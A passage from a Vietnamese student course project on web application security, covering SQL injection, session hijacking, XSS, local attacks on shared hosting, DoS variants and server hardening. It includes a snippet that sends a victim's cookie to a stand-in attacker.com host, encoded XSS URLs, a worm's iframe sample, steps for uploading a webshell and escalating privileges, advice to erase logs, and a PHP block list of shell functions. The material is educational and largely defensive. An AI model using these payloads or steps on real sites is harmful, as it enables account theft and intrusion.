dữ liệu nhập trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu để "tiêm
vào" (inject) và thi hành các câu lệnh SQL bất hợp pháp (không được người phát triển ứng dụng
lường trước). Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện các
thao tác xóa, hiệu chỉnh, … do có toàn quyền trên cơ sở dữ liệu của ứng dụng, thậm chí là server
mà ứng dụng đó đang chạy. Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lí
bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase.

+Session Hijacking

Thế nào là Session Hijacking:

Session Hijacking là sử dụng session của một người dùng nào đó, đã tạo được kết nối hợp lệ
bằng một phương thức không hợp lệ. Phương thức này như thế nào thì mời bạn đọc tiếp ở
phần dưới. Để dễ hiểu, ta đưa ra một ví dụ thế này: Pc A và Pc B kết nối thành công với
nhau, kẻ tấn công chiếm lấy session ID của Pc A để kết nối với PC B, dĩ nhiên lúc này Pc B
cho rằng kẻ tấn công là Pc A, và cho kẻ tấn công có tấn cả quyền thực hiện các hành động mà
Pc A có thể thực hiện.

Mở rộng:

.Một admin của một website đăng nhập vào hệ thống quản lí website
.Một cookie được tạo ra kèm theo Session ID của user Admin ngay lúc đó.
.Vì một lí do nào đó, admin này không dùng computer nữa, nhưng không logout khỏi trình
điều khiển, nghĩa là cookies và Session ID này vẫn còn hiệu lực
. Bằng cách nào đó, bạn đoán được session ID này, nghiễm nhiên bạn có quyền truy cập vào
hệ thống quản lí của website với quyền hạn của Admin đó.

HTTP là một giao thức có tính stateless cho nên, thông tin giữa client (trình duyệt) và server
(web server) thường được kết thúc càng nhanh càng tốt và connection này sẽ được tắt bỏ sau
khi quy trình chuyển gởi thông tin hoàn tất. Vì vậy, Session đã được tạo không được kiểm tra
còn tồn tại hay không, cho đến khi user bấm vào nút logout, xóa bỏ cookies. Trừ phi web
server kiểm tra xem Session này còn sống hay không sau một khoảng thời gian định sẳn,
pingsession của HVA là một ví dụ.

Sự cần thiết của Session ID: Hãy tưởng tượng bạn vào một website nào đó, VNDEV chẳng
hạn, bạn đăng nhập thành công. Nhưng mỗi lần muốn trả lời một bài nào đó, bạn phải đăng

- 15 -
Bảo mật ứng dụng Web – Đồ án môn học “Công nghệ mạng”

nhập lại, rất bất tiện. Session ID sinh ra để khắc phục sự bất tiện đó. Với một session ID tạo
ra riêng cho một user khi kết nối tới một website nào đó, web server dựa vào session ID để
nhận ra user, và chấp nhận cho user này thực hiện các hành động mà user được quyền mà
không phải xác nhận lần này qua lần khác.

Một ít về cookies: Có nhiều loại cookies, nhưng có 2 loại bạn cần tìm hiểu là persistent
cookies và non-persistent cookies
-Persistent cookies là loại cookies vẫn tồn tại khi bạn tắt trình duyệt. Khi bạn chọn remember
me, thì non-persistent cookies trở thành Persistent cookies
-Non-Persistent cookies thì ngược lại, trình duyệt tắt, cookies hết hiệu lực, và dĩ nhiên
session ID cũng đi theo. Non-persistent cookies còn được gọi nôm na là session cookies
(cookies theo phiên làm việc)

+ XSS (Cross-Site Scripting)

1. XSS là gì ?

Cross-Site Scripting hay còn được gọi tắt là XSS (thay vì gọi tắt là CSS để tránh nhầm lẫn
với CSS-Cascading Style Sheet của HTML) là một kỹ thuật tấn công bằng cách chèn vào các
website động (ASP, PHP, CGI, JSP ...) những thẻ HTML hay những đoạn mã script nguy
hiểm có thể gây nguy hại cho những người sử dụng khác. Trong đó, những đoạn mã nguy
hiểm đựơc chèn vào hầu hết được viết bằng các Client-Site Script như JavaScript, JScript,
DHTML và cũng có thể là cả các thẻ HTML.

Kỹ thuật tấn công XSS đã nhanh chóng trở thành một trong những lỗi phổ biến nhất của Web
Applications và mối đe doạ của chúng đối với người sử dụng ngày càng lớn. Người chiến
thắng trong cuộc thi eWeek OpenHack 2002 là người đã tìm ra 2 XSS mới. Phải chăng mối
nguy hiểm từ XSS đã ngày càng được mọi người chú ý hơn.

2. XSS hoạt động như thế nào ?

Về cơ bản XSS cũng như SQL Injection hay Source Injection, nó cũng là các yêu cầu
(request) được gửi từ các máy client tới server nhằm chèn vào đó các thông tin vượt quá tầm
kiểm soát của server. Nó có thể là một request được gửi từ các form dữ liệu hoặc cũng có thể
đó chỉ là các URL như là

http://www.example.com/search.cgi?query=<script>alert('XSS was found !');</script>

Và rất có thể trình duyệt của bạn sẽ hiện lên một thông báo "XSS was found !".

Các đoạn mã trong thẻ <script> không hề bị giới hạn bởi chúng hoàn toàn có thể thay thế
bằng một file nguồn trên một server khác thông qua thuộc tính src của thẻ <script>. Cũng
chính vì lẽ đó mà chúng ta chưa thể lường hết được độ nguy hiểm của các lỗi XSS.

Nhưng nếu như các kỹ thuật tấn công khác có thể làm thay đổi được dữ liệu nguồn của web
server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối với website ở phía
client mà nạn nhân trực tiếp là những người khách duyệt site đó. Tất nhiên đôi khi các hacker
cũng sử dụng kỹ thuật này đề deface các website nhưng đó vẫn chỉ tấn công vào bề mặt của
website. Thật vậy, XSS là những Client-Side Script, những đoạn mã này sẽ chỉ chạy bởi trình

- 16 -
Bảo mật ứng dụng Web – Đồ án môn học “Công nghệ mạng”

duyệt phía client do đó XSS không làm ảnh hưởng đến hệ thống website nằm trên server.

Mục tiêu tấn công của XSS không ai khác chính là những người sử dụng khác của website,
khi họ vô tình vào các trang có chứa các đoạn mã nguy hiểm do các hacker để lại họ có thể bị
chuyển tới các website khác, đặt lại homepage, hay nặng hơn là mất mật khẩu, mất cookie
thậm chí máy tính bạn có thể sẽ bị cài các loại virus, backdoor, worm ..

3. Cảnh giác với XSS

Có lẽ không cần liệt kê những nguy hiểm của XSS, nhưng trên thực tế nếu bạn có một chút
hiểu biết về XSS bạn sẽ không còn phải sợ chúng nữa. Thật vậy bạn hoàn toàn có thể tránh
khỏi việc bị tấn công bởi những lỗi XSS nếu hiểu kỹ về nó.

Các thẻ HTML đều có thể là công cụ cho các cuộc tấn công bởi kỹ thuật XSS, trong đó 2 thẻ
IMG và IFRAME có thể cho phép trình duyệt của bạn load thêm các website khác khi các
lệnh HTML được hiển thị. Ví dụ như BadTrans Worm một loại worm sử dụng thẻ IFRAME
để lây lan trong các hệ thống có sử dụng Outlook hay Outlook Express:

--====_ABC1234567890DEF_====
Content-Type: multipart/alternative;
boundary="====_ABC0987654321DEF_===="

--====_ABC0987654321DEF_====
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>
<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0>
</iframe></BODY></HTML>
--====_ABC0987654321DEF_====--

--====_ABC1234567890DEF_====
Content-Type: audio/x-wav;
name="filename.ext.ext"
Content-Transfer-Encoding: base64
Content-ID: <EA4DMGBP9p>

Đôi khi đang đọc thư bạn bị chuyển sang một website khác, bạn có nghĩ rằng bạn có thể mất
mật khẩu. Trước đây, hàng loạt các hộp thư của Yahoo bị mất mật khẩu hay bị đọc trộm thư
mà không rõ nguyên nhân. Có lẽ khi đó các bạn mở các bức thư mà không hề cảnh giác với
XSS, đâu phải chỉ các file đính kèm mới có thể gây nguy hiểm cho bạn. Chỉ cần với một đoạn
mã HTML gửi trong thư bạn đã hoàn toàn bị mất cookie của mình:

<form action="http://attacker.com/save.asp" method="post" name="XSS">


<input type="hidden" name="cookie">
</form>
<img border="0" onmouseover="window.document.XSS.cookie.value = document.cookie;
window.document.XSS.submit();" src="none.jpg">

- 17 -
Bảo mật ứng dụng Web – Đồ án môn học “Công nghệ mạng”

Vậy là khi bạn nhận thư, và nếu bạn vô tình đưa con chuột qua bức ảnh gửi kèm thì cũng có
nghĩa là bạn đã bị lấy mất cookie. Và với cookie lấy được, các hacker có thể dễ dàng login
hòm thư của bạn mà không cần biết mật khẩu của bạn. Thực sự tôi cũng rất bất ngờ khi tìm
thấy rằng Yahoo khi đó đã ngăn được hầu hết các mối đe doạ từ các thẻ HTML lại bỏ qua thẻ
IMG. Tuy nhiên cho tới ngày 12/7/2003 Yahoo đã kịp thời vá lỗ hồng nghiêm trọng này,
nhưng không phải vì vậy mà bạn mất cảnh giác với những "lỗi" của website.
Nếu như bạn gặp một liên kết có dạng

http://example.com/search.cgi?query=<script>alert(document.cookie)</script>

Chắc chắn bạn sẽ phải xem xét kỹ trước khi click vào. Có thể là sẽ tắt JavaScript cho trình
duyệt của bạn trước khi click vào hay ít nhất cũng có một chút cảnh giác. Nhưng nếu bạn gặp
một liên kết như thế này thì sao :

http://example.com/search.cgi?%71%75%65%
61%72%79%3D%3C%73%63%72%69%70%
74%3E%61%6C%65%61%72%74%28%64%
63%75%6D%65%6E%6C%74%2E%63%6F%
6F%6B%69%65%29%3C%2F%73%63%72%
69%70%74%3E>http://example.com/search.cgi?%
71%75%65%61...%72%69%70%74%3E

Đó thực chất chính là liên kết ban đầu nhưng chỉ khác nó đã được mã hoá. Một phần kí tự của
liên kết đã được thay thế bởi mã HEX của nó, tất nhiên trình duyệt của bạn vẫn hiểu địa chỉ
đó thực sự là gì. Bởi vậy bạn có thể sẽ gặp phải các đoạn mã nguy hiểm nếu như bạn mất
cảnh giác với XSS.
Tât nhiên còn rất nhiều những kiểu tấn công khác, trong đó có những kiểu đã được tìm ra có
những kiều chưa lường hết được, những trong khuôn khổ bài viết này tôi hi vọng với một vài
ví dụ vừa rồi, các bạn cũng đã hiểu phần nào về XSS.

4. Phát hiện XSS bằng cách nào ?

Nếu như các bạn sử dụng các mã nguồn của các chương trình có sẵn bạn có thể tham khảo
danh sách các lỗ hổng của chương trình bạn trên các trang web chứa các thông tin về bảo mật
như securityfocus.com, securiteam.com,... Tuy nhiên nếu các website được tự viết mã nguồn
thì bạn không thể áp dụng phương pháp trên. Trong trường hợp này bạn cần đến các chương
trình scanner tự động. Nếu như bạn sử dụng trong môi trường Windows bạn có thể dùng N-
Stealth hay AppScan, đó là những chương trình scan khá tuyệt, bạn không chỉ kiểm tra được
các lỗi XSS mà nó còn cho phép bạn kiểm tra các lỗi khác trong Website đó, Server đó.

Tất nhiên đâu phải lúc nào bạn cũng cần kiểm tra tất cả, nếu như bạn chỉ muốn kiểm tra các
lỗi XSS có trong website, bạn chỉ cần sử dụng screamingCSS. Đó là một Perl Script sẽ mở
các kết nối tới website (sử dụng Perl's socket) để kiểm tra các lỗi XSS của bạn. Hơn nữa bạn
có thể sử dụng nó trong cả môi trường Unix lẫn Windows.

5. Ngăn ngừa XSS như thế nào ?

- 18 -
Bảo mật ứng dụng Web – Đồ án môn học “Công nghệ mạng”

Người ta không lường hết được mức độ nguy hiểm của XSS nhưng cũng không quá khó khăn
để ngăn ngừa XSS. Có rất nhiều cách để có thể giải quyết vấn đề này.

OWASP (The Open Web Application Standard Project) nói rằng để có thể xây dựng các
website bảo mật cao, đối với các dữ liệu của người sử dụng bạn nên

+ Chỉ chấp nhận những dữ liệu hợp lệ.


+ Từ chối nhận các dữ liệu hỏng.
+ Liên tục kiểm tra và thanh lọc sữ liệu.

Tuy nhiên trên thực tế, một số trường hợp bạn phải chấp nhận mọi loại dữ liệu hay không có
một bộ lọc phù hợp. Chính vì vậy bạn phải có những cách riêng để giải quyết.
Một trong những cách hay sử dụng là bạn mã hoá các kí tự đặc biệt trước khi in ra website,
nhất là những gì có thể gây nguy hiểm cho người sử dụng. Trong trường hợp này thẻ <script>
sẽ được đổi thành <script>. Như vậy nó sẽ vẫn được in ra màn hình mà không hề gây nguy
hiểm cho người sử dụng.

Tôi lấy ví dụ với script search.cgi với mã nguồn là

#!/usr/bin/perl
use CGI;

my $cgi = CGI->new();
my $query = $cgi->param('query');

print $cgi->header();
print "You entered $query";

Đây hoàn toàn là một script có lỗi bởi vì nó in ra trực tiếp dữ liệu được nhập vào. Dĩ nhiên là
khi in ra, nó sẽ in ra dưới dạng đoạn mã HTML, như thế nó không chỉ không in ra chính xác
những dữ liệu vào một cách trực quan mà còn có tiềm ẩn lỗi XSS.

Như đã nói ở trên, để có thể giải quyết vấn đề này, chúng ta có thể mã hoá các kí tự đặc biệt
của HTML với hàm HTML::Entities::encode(). Như vậy ta có thể có một mã nguồn hoàn hảo
hơn như sau:

#!/usr/bin/perl
use CGI;
use HTML::Entities;

my $cgi = CGI->new();
my $text = $cgi->param('text');

print $cgi->header();
print "You entered ", HTML::Entities::encode($text);

Tất nhiên với phương pháp này bạn cũng có thể áp dụng đối với các ngôn ngữ Web
Application khác (ASP, PHP...). Để kiểm tra việc lọc và mã hoá dữ liệu trước khi in ra, các
bạn có thể dùng một chương trình được viết bằng ngôn nhữ PHP, đặc biệt nó được thiết kế để
phòng chống các lỗi XSS. Bạn có thể lấy mã nguồn chương trình từ

- 19 -
Bảo mật ứng dụng Web – Đồ án môn học “Công nghệ mạng”

http://www.mricon.com/html/phpfilter.html
Lọc và mã hoá các dữ liệu cho vấn là cách tốt nhất để chống XSS nhưng nếu bạn đang sử
dụng mod_perl trên Apache Server thì bạn có thể dùng ngay module Apache::TaintRequest.
Khi đó mã nguồn chương trình sẽ có dạng :

use Apache::TaintRequest;

my $apr = Apache::TaintRequest->new(Apache->request);
my $text = $apr->param('text');

$r->content_type("text/html");
$r->send_http_header;

$text =~ s/<^A-Za-z0-9 >//;


$r->print("You entered ", $text);

Kỹ thuật XSS được mô tả lần đầu tiên cách đây 2 năm và hầu hết các khả năng tiềm ẩn của
kỹ thuật này đã được biết đến. Tuy nhiên chúng ta mới chỉ khắc phục được một phần của nó.
Không phải vô tình mà Yahoo Mail lại để sót một lỗi XSS trong bộ lọc của mình. Một
phương pháp tối ưu vẫn còn đang ở phía trước.

+Local Attack

Local Attack, tấn công nội bộ từ bên trong, là một khái niệm xuất hiện từ khi các máy chủ
mạnh lên trong thời gian gần đây, để hiểu rõ khái niệm, chúng ta sẽ lấy một số ví dụ.

Vào thập niên trước, các máy chủ chạy web(web server) có cấu hình chỉ ở mức trung bình và
chỉ có thể đảm nhiệm việc gồng gánh một hoặc 2,3 trang web cùng tồn tại. Theo thời gian,
cấu hình các máy chủ ngày càng mạnh hơn, tốc độ bộ vi xử lý và các công nghệ phân luồng,
đa nhân, xử lý song song; đồng bộ với sự phát triển của phần cứng là phần mềm hệ thống và
web server software ngày càng được viết chuyên biệt để xử lý đa tác vụ. Chính nhờ sự phát
triển đó, một máy chủ ngày nay(có thể là chiếc PC của bạn) có thể đặt được nhiều website
trên đó, ví dụ như PC của bạn có thể đặt 3 trang web: của lớp bạn, của bạn gái bạn và 1 blog
của bạn. Và cũng chính nhờ vậy, mà 1 công nghệ khai thác lỗi mới ra đời? Nó mang tên local
attack -tấn công từ nội bộ.

Bước 1: Xác định các website cần tấn công

Bước 2: Xác định các website đặt cùng server với mục tiêu

Bước 3: Tìm cách khai thác một trong các website đặt chung server với mục tiêu . Khai thác
được 1 trong số các website đó .Tìm cách upload webshell hoặc thực thi shell code .

Bước 4:Thành công có webshell, kiểm tra quyền của user hiện tại

Bước 5: Nếu quyền hiện tại đủ đến tấn công mục tiêu. Sang bước 7

Bước 6: Nếu quyền hiện tại không đủ tấn công, tìm cách nâng quyền lên

Bước 7:Đã có đủ quyền, tiến hành đọc file config, tìm user password, deface mục tiêu nếu có

- 20 -
Bảo mật ứng dụng Web – Đồ án môn học “Công nghệ mạng”

thể

Bước 8:Kết thúc

+ Dùng các loại trojan, virus

Hacker tìm cách cài trojan và virus vào máy của nạn nhân để đánh cắp mật khẩu của admin
trong quá trình đăng nhập

+ DOS và DDOS, DRDOS

Tấn công từ chối dịch vụ (DOS) là gì?

Tấn công DOS là từ viết tắt của Deny Of Service attack - Tấn công từ chối dịch vụ. Theo lý
thuyết, các dịch vụ web trên Internet đều có một giới hạn về khả năng cung cấp dịch vụ cho
người truy cập. Nếu một trang web bị gửi tới số lượng yêu cầu truy cập vượt quá giới hạn có
thể đáp ứng, thì dịch vụ web sẽ bị tê liệt, không thể trả lời cho các yêu cầu truy cập hợp lệ của
người sử dụng bình thường.
Tương tự với DOS trên web, phương thức tấn công DOS bằng phần mềm cũng khiến ĐTDĐ
liên tục phải nhận các cuộc gọi đến. Các thuê bao hợp lệ khác không thể gọi tới thuê bao bị
tấn công vì máy luôn bận. Thuê bao nạn nhân cũng khó có thể thực hiện các cuộc gọi đi vì
luôn có điện thoại gọi đến.

Tấn công từ chối dịch vụ phân tán (DDOS) là gì?

Tấn công DDOS là từ viết tắt của Distributed Deny Of Service attack - Tấn công từ chối dịch
vụ phân tán. Tương tự với tấn công DOS, nhưng nguồn gửi không đến từ một máy tính trên
Internet, mà từ một hệ thống nhiều máy tính với vô số địa chỉ IP khác nhau. Việc ngăn chặn
DDOS khó khăn hơn nhiều so với DOS.

Tấn công từ chối dịch vụ bằng phương pháp phản xạ nhiều vùng (DRDOS) là gì?

Bây giờ, chúng ta hãy nhớ lại phương pháp SYN attack truyền thống của DoS, phương pháp
này dựa trên bước thứ nhất để mở connection của TCP để tạo các "open half" connection làm
Server bị ăn mòn hết tài nguyên. Các SYN packet được gửi trực tiếp đến Server sau khi đã

- 21 -
Bảo mật ứng dụng Web – Đồ án môn học “Công nghệ mạng”

giả mạo IP nguồn. IP giả mạo sẽ là 1 IP không có thật trên Internet để cho Server không thể
nào hoàn thành được connection.

Ta có Server A và Victim, giả sử ta gửi 1 SYN packet đến Server A trong đó IP nguồn đã bị
giả mạo thành IP của Victim, bạn nghĩ chuyện gì sẽ xảy ra ??? Đúng, Server A sẽ mở 1
connection và gủi SYN/ACK packet cho Victim vì nghĩ rằng Victim muốn mở connection
với mình. Và đây chính là khái niệm của Reflection ( Phản xạ ).

DRDoS có thể được mô tả như sau :

Hacker sẽ điều khiển Spoof SYN generator, gửi SYN packet đến tất cả các TCP Server lớn,
lúc này các TCP Server này vô tình thành Zombie cho Hacker để cùng tấn công Victim và
làm nghẽn đường truyền của Victim.

+ Xóa dấu vết

Bước cuối cùng đó là xóa các dấu vết còn lưu lại trên server cũng như phía Client trước khi
thoát ra (các file log, địa chỉ IP, phiên làm việc, cache,, history, …)

2.2 Từ phía người phòng thủ (Administrator)

Ngày nay các ứng dụng web với mã nguồn mở phát triển rất mạnh, trong đó đặc biệt phổ biến
là PHP – MySQL. Nhưng công nghệ phát triển đồng thời kéo theo những “tin tặc” trẻ luôn
muốn khẳng định mình sau khi xem những hướng dẫn tấn công, khai thác lỗi đầy rẫy trên các
forum hacker. Vì thế bất kì một website nào cũng có khả năng bị tấn công bất cứ lúc nào, đặc
biệt là các site cá nhân, tập thể vừa và nhỏ sẽ chọn giải pháp là thuê shared hosting trên một
server. Vì các shared hosting ở cùng server nên độ riêng tư không cao, việc kiên cố hoá
website trên shared hosting là rất cần thiết.

- 22 -
Bảo mật ứng dụng Web – Đồ án môn học “Công nghệ mạng”

Shared hosting là gì ?

Ta vẫn quen gọi ngắn shared hosting là host, vì hầu hết các site đều thuê dịch vụ hosting để
tiết kiệm chi phí, ngoại trừ một số site yêu cầu tài nguyên lớn và độ bảo mật cao mới sử dụng
server riêng.

1. Phân quyền hợp lí

A. Tìm hiểu về chmod:

Là sự phân quyền truy cập vào một file hay một folder đối với các lớp người dùng giống như
các thuộc tính dùng lệnh attrib trong DOS.
Các lớp người dùng gồm có: Owner – Group – World

Owner : người “sở hữu” host.


Group : là nhóm người dùng.
World : bất kì ai.Các quyền khi chmod:

Read : đọc (r = 4)
Write : ghi (w = 2)
Execute : thực thi (x = 1)VD: chmod 751 = rwxr-x--x

Cách chmod:
Ta có thể chmod file, folder bằng FTP hoặc cPanel. Sau đây là ví dụ dùng FTP (trong cPanel
tương tự):

Dùng FTP client (ở đây tôi dùng FlashFXP) để connect FTP vào host.
Chuột phải lên các file, folder (giữ Ctrl và click để chọn nhiều file/folder rời rạc, hoặc Ctrl A
để chọn hết), chọn CHMOD, ta sẽ có hộp thoại như hình:
Nếu bạn muốn chmod thư mục và file khác nhau thì đánh dấu chọn Separately set File and
Folder attributes.

B. CHMOD thế nào để an toàn:

Cách CHMOD tối ưu nhất :

chmod 404 (chỉ cho phép đọc) tất cả các file.


chmod 101 (chỉ cho thực thi) tất cả các folder.
chmod 501 thư mục /public_html/Các cách chmod trên đều không cho write, do đó bố cục
được bảo toàn, đồng thời không thể xem cấu trúc site, thư mục, file. Có thể nói đó là các
chmod an toàn nhất mà ứng dụng web như diễn đàn, site nhạc, tin tức có thể hoạt động ổn
định.

Tuy nhiên không phải server nào cũng cho phép bạn chmod như vậy, nếu bạn dùng FTP
không thể chmod được như vậy, thì hãy chmod như sau:

chmod 704 (chỉ cho phép đọc) tất cả các file.


chmod 701 (chỉ cho thực thi) tất cả các folder.Lưu ý: Phiên bản cPanel 11 có File Manager
V3, có thể dùng để chmod hàng loạt rất tốt và có thể chmod được file 404, folder 101.

- 23 -
Bảo mật ứng dụng Web – Đồ án môn học “Công nghệ mạng”

2. “Ẩn mình” – Hide path

Khi đăng kí hosting, domain chính thường được trỏ vào ngay trong thư mục /public_html/,
điều này giúp “kẻ tấn công” dễ dàng mò đến file quan trọng của website (vd như file
config.php của các forum chẳng hạn), và khi đó thông tin đăng nhập quản lí cơ sở dữ liệu của
website đã bị kẻ xấu lấy mất. Điều tệ hại gì sẽ xảy ra ?

Để khắc phục điểm này, ta nên yêu cầu bên cung cấp hosting tạo host không có domain (tên
miền) chính và để ta tự gắn vào bằng chức năng add-on domain. Khi add domain sẽ có chỗ để
bạn nhập đường dẫn đến thư mục mà domain sau khi gắn thành công sẽ trỏ vào như hình2.
VD: /public_html/foder1/folder2/folder3/forum/

Sau khi bạn bấm add các thư mục folder1, folder2, …, forum sẽ được tự động tạo ra. Và bây
giờ bạn áp dụng cách chmod ở trên để chmod các thư mục folder1, folder2 … để giấu đường
dẫn của site trên server.

3. Không hiển thị lỗi nếu phát sinh

Khi có lỗi phát sinh, PHP sẽ hiện thông báo ra trình duyệt và chỉ rõ lỗi ở file nào, dòng nào
và đường dẫn của file, vì thế điều này rất nguy hiểm.

Để che lỗi, bạn tạo một file php.ini với nội dung như sau:
display_errors = Off
log_errors = On
Sau đó upload lên thư mục chứa website.

Gợi ý: bạn nên up file php.ini trên vào các thư mục mà người dùng sẽ truy cập bằng trình
duyệt, thường là thư mục chứa website, thư mục quản trị, thư mục của user …

4. Bật safe-mode (chế độ an toàn) và vô hiệu các hàm nguy hiểm

Thêm hoặc edit 2 dòng sau trong nội dung file php.ini
disable_functions = passthru, system, shell_exec, exec, dir, readfile, virtual, proc_terminate
safe-mode = on
Lưu ý: bạn có thể bỏ bớt các hàm trong danh sách hàm bị vô hiệu nếu hàm đó cần cho
website của bạn hoạt động.

5. Phân quyền account truy cập cơ sở dữ liệu MySQL

Khi bạn tạo user truy cập vào database, bạn cần lưu ý:

Không dùng user và pass của host làm user của database.
Không cấp quyền DROP như hình 3.

6. Tránh chmod 777 cho folder/file

Đôi khi bạn gặp một số yêu cầu chmod 777 cho file/folder để thực hiện công việc gì đó, bạn
hãy chú ý chmod lại sau khi công việc đã được thực hiện xong.

- 24 -
Bảo mật ứng dụng Web – Đồ án môn học “Công nghệ mạng”

7. Mã hoá các file chứa thông tin nhạy cảm

Các file nhạy cảm chứa các thông tin kết nối cơ sở dữ liệu như config.php với các kiểu mã
hoá như base64 của PHP hoặc mã hoá dùng phần mềm zendguard
Nếu mã hoá base64 PHP thì các bạn có thể dùng google để tìm với từ khoá base64 encode

8. Ngăn download source code khi server gặp sự cố:

Tạo file .htaccess nội dung như sau:


<Files "config.php">
Order Allow,Deny
Deny from All
</Files>
<Files "class_core.php">
Order Allow,Deny
Deny from All
</Files>
Mục đích để ngăn cản việc download source code khi PHP bị overload hoặc terminated.
Nguyên nhân có thể đến từ bên trong hoặc bên ngoài. Tôi không đề cập ở đây.

9. Vô hiệu hoá biên dịch mã PHP trong thư mục chỉ định

Nếu bạn có một thư mục dành cho việc upload, bạn nên vô hiệu hoá việc biên dịch và thực thi
mã PHP trong thư mục ấy vì attacker có thể lợi dụng việc upload để đưa script độc (webshell)
lên host của bạn.

Tạo file .htaccess đặt vào thư mục đó với nội dung như sau:
php_admin_flag engine off
Sau đó chmod 444 cho file.

10. Thường xuyên cập nhật vá lỗi cho website và đặt một mật khẩu quản trị tương đối
kiên cố, liên hệ với nhà cung cấp dịch vụ để sửa lỗi

- 25 -
Bảo mật ứng dụng Web – Đồ án môn học “Công nghệ mạng”

Tài liệu tham khảo


[1] Wikipedia.org

2] Bộ thông tin và truyền thông, Thuyết minh dự thảo tiêu chuẩn quốc gia: CNTT - Hệ
thống quản lý an toàn thông tin

[3] Certified Ethical Hacking version 5

[4] vnhack.net

- 26 -
Bảo mật ứng dụng Web – Đồ án môn học “Công nghệ mạng”

Nhận xét của giảng viên

- 27 -

You might also like